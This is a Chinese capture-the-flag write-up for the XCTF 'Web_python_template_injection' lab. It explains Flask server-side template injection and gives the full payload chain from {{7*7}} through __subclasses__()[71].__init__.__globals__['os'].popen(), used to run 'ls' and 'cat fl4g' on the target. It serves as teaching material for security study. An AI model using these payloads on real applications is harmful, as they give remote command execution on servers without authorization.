欢迎光临
我们一直在努力

攻防世界-Web_python_template_injection-胎教版wp

前言

  • 考点:SSTI模板注入(python中的flask注入)
    • __class__:返回对象所属的类
    • __mro__:返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析
    • __base__:返回一个类所继承的基类 //base和mro都是用来寻找基类的
    • __subclasses__:每个新类都保留了子类的引用,这个返回一个类中仍然可以引用的列表
    • __init__:类的初始化方法
    • __globals__:对包含函数全局变量字典的应用

解题步骤:

  • 1.进入靶场,页面提示这是一个python的模板注入,我们先进行判断是否存在模板注入漏洞,在URL后面加上{{7*7}},页面返回49,证明存在模板注入漏洞
  • 2.我们开始使用模板注入,先获得类 在URL后加上 {{‘’.__class__}} ,访问后页面回显
    在这里插入图片描述
    这里证明已经告诉我们这个变量的类是 str了
  • 3.我们再获得基类元组,在URL后加上 {{‘’.__class__.__mro__}} ,页面回显
    在这里插入图片描述
    我们得到三个基类元组
  • 4.接下来我们找基类的引用列表,在URL后加上{{‘’.__class__.__mro__[2].__subclasses__()}} ,访问后得到页面回显,一大片列表
  • 5.我们要找到 os’所在的 site._Printer 列表(可执行命令),逐个寻找发现在第72位,即__subclasses__()[71].
  • 6.通过 {{‘’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].popen(‘命令语句‘).read()}} 来调动服务器的控制台并显示,这下我们就可以使用控制台输出了
  • 7.我们先进行 ls ,在URL后添加 {{‘’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[‘os’].popen(‘ls’).read()}} 运行后页面回显
    在这里插入图片描述
    我们再将 ls 换为 cat fl4g ,访问后得到flag
    在这里插入图片描述
赞(0)
未经允许不得转载:171主机测评 » 攻防世界-Web_python_template_injection-胎教版wp
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址